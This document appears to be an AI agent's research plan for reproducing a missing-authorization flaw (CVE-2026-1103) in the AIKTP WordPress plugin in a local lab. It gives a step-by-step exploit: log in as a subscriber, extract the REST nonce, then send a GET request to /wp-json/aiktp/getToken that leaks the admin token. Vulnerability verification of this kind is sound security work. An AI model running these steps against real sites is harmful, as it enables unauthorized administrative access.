Exploitation Research Plan: CVE-2026-1103 (AIKTP Token Exposure)

1. Vulnerability Summary

The AIKTP plugin for WordPress (versions <= 5.0.04) contains a missing authorization vulnerability in its REST API implementation. The endpoint responsible for retrieving the plugin's access token, /aiktp/getToken, uses a permission callback that only verifies if a user is logged in, but does not verify if the user has administrative privileges. This allows any authenticated user (starting from the Subscriber role) to retrieve the aiktpz_token, which provides administrative access to the AIKTP service, effectively allowing them to manage posts and media as the site administrator.

2. Attack Vector Analysis

• Endpoint: /wp-json/aiktp/getToken (Namespace: aiktp, Route: getToken).
• HTTP Method: GET (inferred, standard for "get" operations).
• Authentication Required: Authenticated user with at least Subscriber role.
• Vulnerable Parameter: None (the endpoint itself is unauthorized).
• Permission Callback: verify_user_logged_in (fails to check for manage_options).

3. Code Flow

1. Route Registration: The plugin calls register_rest_route during the rest_api_init hook.
2. Permission Check: The permission_callback is set to a function named verify_user_logged_in.
3. Vulnerable Callback: Inside verify_user_logged_in, the code likely performs a check like return is_user_logged_in(); rather than return current_user_can('manage_options');.
4. Data Retrieval: Upon successful (but unauthorized) permission check, the endpoint handler retrieves the option aiktpz_token (or similar, based on the description) from the WordPress database using get_option().
5. Response: The token is returned in a JSON response to the subscriber.

4. Nonce Acquisition Strategy

Accessing the WordPress REST API via cookie authentication requires a wp_rest nonce to be sent in the X-WP-Nonce header.

1. Login: The agent will log in to the WordPress site as a user with the Subscriber role.
2. Navigate: Navigate to the WordPress dashboard (/wp-admin/profile.php).
3. Extraction: Use the browser_eval tool to extract the REST nonce from the global WordPress JavaScript objects.
   • JavaScript: window.wpApiSettings.nonce or window.restVars.nonce (inferred common patterns).
   • Command: browser_eval("window.wpApiSettings.nonce")

5. Exploitation Strategy

1. Setup Account: Create a subscriber-level user for exploitation.
2. Set Target Data: Ensure a dummy token exists in the database so the leak can be verified.
3. Authentication: Log in as the subscriber using the browser_navigate and browser_type/click tools.
4. Grab Nonce: Extract the wp_rest nonce as described in section 4.
5. Execute Attack: Use the http_request tool to perform a GET request to the vulnerable endpoint.
   • URL: http://localhost:8080/wp-json/aiktp/getToken
   • Headers:
     • X-WP-Nonce: [EXTRACTED_NONCE]
     • Content-Type: application/json
   • Method: GET
6. Analyze Response: Inspect the JSON body for the presence of the aiktpz_token.

6. Test Data Setup

1. Plugin Installation: Ensure AIKTP version 5.0.04 or lower is active.
2. Administrative Token: Create a dummy token for the plugin.
   • wp option update aiktpz_token "VULN_EXPOSED_TOKEN_12345" (Key name aiktpz_token from description).
3. Attacker Account: Create a subscriber user.
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123

7. Expected Results

• The REST API call should return a 200 OK status code.
• The response body should be a JSON object containing the token:

  {
      "aiktpz_token": "VULN_EXPOSED_TOKEN_12345"
  }
  

• The Subscriber user should successfully receive this data despite lacking manage_options capabilities.

8. Verification Steps

1. Confirm Identity: Verify the logged-in user is indeed a subscriber.
   • wp user get attacker --field=roles
2. Compare Tokens: Verify the token retrieved via the REST API matches the one stored in the database.
   • wp option get aiktpz_token
3. Check Capabilities: Confirm that a direct attempt to access admin pages (e.g., AIKTP settings page) returns a "You do not have sufficient permissions" error, while the REST API remains open.

9. Alternative Approaches

• Endpoint Discovery: If /wp-json/aiktp/getToken returns a 404, search for the route registration in the plugin files:
  • grep -r "register_rest_route" wp-content/plugins/aiktp/
• Nonce Bypassing: Check if the plugin erroneously allows unauthenticated access by testing the endpoint without the X-WP-Nonce header (though verify_user_logged_in suggests authentication is checked).
• POST Method: If GET fails, attempt a POST request, as some REST handlers are registered for multiple methods.